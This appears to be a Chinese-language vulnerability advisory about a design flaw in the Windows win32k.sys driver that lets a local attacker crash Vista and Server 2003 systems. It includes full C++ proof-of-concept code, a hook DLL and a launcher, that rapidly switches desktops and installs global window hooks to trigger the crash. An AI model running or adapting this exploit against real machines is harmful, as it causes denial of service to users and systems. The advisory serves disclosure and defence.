漏洞起因
设计错误
影响系统
Microsoft Windows Vista x64 Edition SP2
Microsoft Windows Vista x64 Edition SP1
Microsoft Windows Vista x64 Edition 0
Microsoft Windows Vista Ultimate 64-bit edition SP2
Microsoft Windows Vista Ultimate 64-bit edition SP1
Microsoft Windows Vista Ultimate 64-bit edition 0
Microsoft Windows Vista Home Premium 64-bit edition SP2
Microsoft Windows Vista Home Premium 64-bit edition SP1
Microsoft Windows Vista Home Premium 64-bit edition 0
Microsoft Windows Vista Home Basic 64-bit edition SP2
Microsoft Windows Vista Home Basic 64-bit edition SP1
Microsoft Windows Vista Home Basic 64-bit edition 0
Microsoft Windows Vista Enterprise 64-bit edition SP2
Microsoft Windows Vista Enterprise 64-bit edition SP1
Microsoft Windows Vista Enterprise 64-bit edition 0
Microsoft Windows Vista Business 64-bit edition SP2
Microsoft Windows Vista Business 64-bit edition SP1
Microsoft Windows Vista Business 64-bit edition 0
Microsoft Windows Vista Ultimate SP2
Microsoft Windows Vista Ultimate SP1
Microsoft Windows Vista Ultimate
Microsoft Windows Vista SP2
Microsoft Windows Vista SP1
Microsoft Windows Vista Home Premium SP2
Microsoft Windows Vista Home Premium SP1
Microsoft Windows Vista Home Premium
Microsoft Windows Vista Home Basic SP2
Microsoft Windows Vista Home Basic SP1
Microsoft Windows Vista Home Basic
Microsoft Windows Vista Enterprise SP2
Microsoft Windows Vista Enterprise SP1
Microsoft Windows Vista Enterprise
Microsoft Windows Vista Business SP2
Microsoft Windows Vista Business SP1
Microsoft Windows Vista Business
Microsoft Windows Vista 0
Microsoft Windows Server 2003 x64 SP2
Microsoft Windows Server 2003 x64 SP1
Microsoft Windows Server 2003 Web Edition SP2
Microsoft Windows Server 2003 Web Edition SP1
Microsoft Windows Server 2003 Web Edition
Microsoft Windows Server 2003 Standard x64 Edition
Microsoft Windows Server 2003 Standard Edition SP2
Microsoft Windows Server 2003 Standard Edition SP1
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Itanium SP2
Microsoft Windows Server 2003 Itanium SP1
Microsoft Windows Server 2003 Itanium 0
Microsoft Windows Server 2003 Enterprise x64 Edition
Microsoft Windows Server 2003 Enterprise Edition Itanium SP1
Microsoft Windows Server 2003 Enterprise Edition Itanium 0
Microsoft Windows Server 2003 Enterprise Edition SP1
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows Server 2003 Datacenter x64 Edition
Microsoft Windows Server 2003 Datacenter Edition Itanium SP1
Microsoft Windows Server 2003 Datacenter Edition Itanium 0
Microsoft Windows Server 2003 Datacenter Edition SP1
Microsoft Windows Server 2003 Datacenter Edition
3DM Software Disk Management Software SP2
3DM Software Disk Management Software SP1
不受影响系统
危害
本地攻击者可以利用漏洞使系统崩溃。
攻击所需条件
攻击者必须访问Microsoft Windows。
漏洞信息
Microsoft Windows是一款流行的操作系统。
Microsoft Windows ‘win32k.sys’驱动存在设计问题,本地攻击者可以利用漏洞使系统崩溃。
目前没有详细的漏洞细节提供。
测试方法
hookproc.dll:
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
return TRUE;
}
extern "C" __declspec(dllexport) LRESULT CALLBACK DummyHookProc(int nCode, WPARAM wParam,LPARAM lParam)
{
::Sleep(0);
return ::CallNextHookEx(0, nCode, wParam, lParam);
}
launch.exe:
// launch.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
extern "C" __declspec(dllimport) LRESULT CALLBACK DummyHookProc(int nCode, WPARAM wParam,LPARAM lParam);
HANDLE g_stop_event = CreateEvent(NULL, TRUE, FALSE, NULL);
DWORD CALLBACK WinThreadProc(PVOID p)
{
TCHAR name[32];
if (p)
wsprintf(name, "desk_%x", p);
else
wsprintf(name, "default");
HDESK desk = ::CreateDesktop(name, 0, 0, 0, GENERIC_ALL, 0);
HDESK old_desk = ::GetThreadDesktop(::GetCurrentThreadId());
::SetThreadDesktop(desk);
for(int i=0; i<8; i++)
{
CreateWindow(TEXT("STATIC"), TEXT("dummy"),
WS_VISIBLE, 10, i*30, 200, 30, 0, 0, 0, 0);
}
MSG msg;
while (1)
{
::GetMessage(&msg, NULL, 0, 0);
::TranslateMessage(&msg);
::DispatchMessage(&msg);
}
::SetThreadDesktop(old_desk);
::CloseDesktop(desk);
return 0;
}
DWORD CALLBACK ThreadProc(PVOID p)
{
TCHAR name[32];
if (p)
wsprintf(name, "desk_%x", p);
else
wsprintf(name, "default");
HDESK desk = ::CreateDesktop(name, 0, 0, 0, GENERIC_ALL, 0);
::SwitchDesktop(desk);
::Sleep(0);
HDESK old_desk = ::GetThreadDesktop(::GetCurrentThreadId());
::SetThreadDesktop(desk);
HINSTANCE dll = ::GetModuleHandle(TEXT("HOOKPROC.dll"));
HHOOK hk1 = ::SetWindowsHookEx(WH_MOUSE, DummyHookProc, dll, 0);
HHOOK hk2 = ::SetWindowsHookEx(WH_CALLWNDPROC, DummyHookProc, dll, 0);
HHOOK hk3 = ::SetWindowsHookEx(WH_CALLWNDPROCRET, DummyHookProc, dll, 0);
HHOOK hk4 = ::SetWindowsHookEx(WH_GETMESSAGE, DummyHookProc, dll, 0);
for (;;)
{
MSG msg;
while (::PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))
{
::TranslateMessage(&msg);
::DispatchMessage(&msg);
}
if (::MsgWaitForMultipleObjects(1, &g_stop_event,
FALSE, INFINITE, QS_ALLINPUT) == WAIT_OBJECT_0)
{
break;
}
}
::SwitchDesktop(old_desk);
::Sleep(0);
::UnhookWindowsHookEx(hk1);
::UnhookWindowsHookEx(hk2);
::UnhookWindowsHookEx(hk3);
::UnhookWindowsHookEx(hk4);
::PostMessage(HWND_BROADCAST, WM_NULL, 0, 0);
::SendNotifyMessage(HWND_BROADCAST, WM_NULL, 0, 0);
::SetThreadDesktop(old_desk);
::CloseDesktop(desk);
return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
int i;
for(i=0; i<4; i++)
{
::CloseHandle(::CreateThread(NULL, 0, WinThreadProc, (LPVOID)i, 0, NULL));
}
::Sleep(1000);;
while((::GetAsyncKeyState(VK_ESCAPE)&32768)==0)
{
for(i=0; i<4; i++)
{
HANDLE trd = ::CreateThread(NULL, 0, ThreadProc, (LPVOID)i, 0, NULL);
::Sleep(100);
::SetEvent(g_stop_event);
::WaitForSingleObject(trd, INFINITE);
::ResetEvent(g_stop_event);
::CloseHandle(trd);
}
}
return 0;
}
厂商解决方案
目前没有详细解决方案提供:
http://www.microsoft.com/
漏洞提供者
Killer{R}
漏洞消息链接
http://bugtraq.ru/cgi-bin/forum.mcgi?type=sb&b=2&m=152274
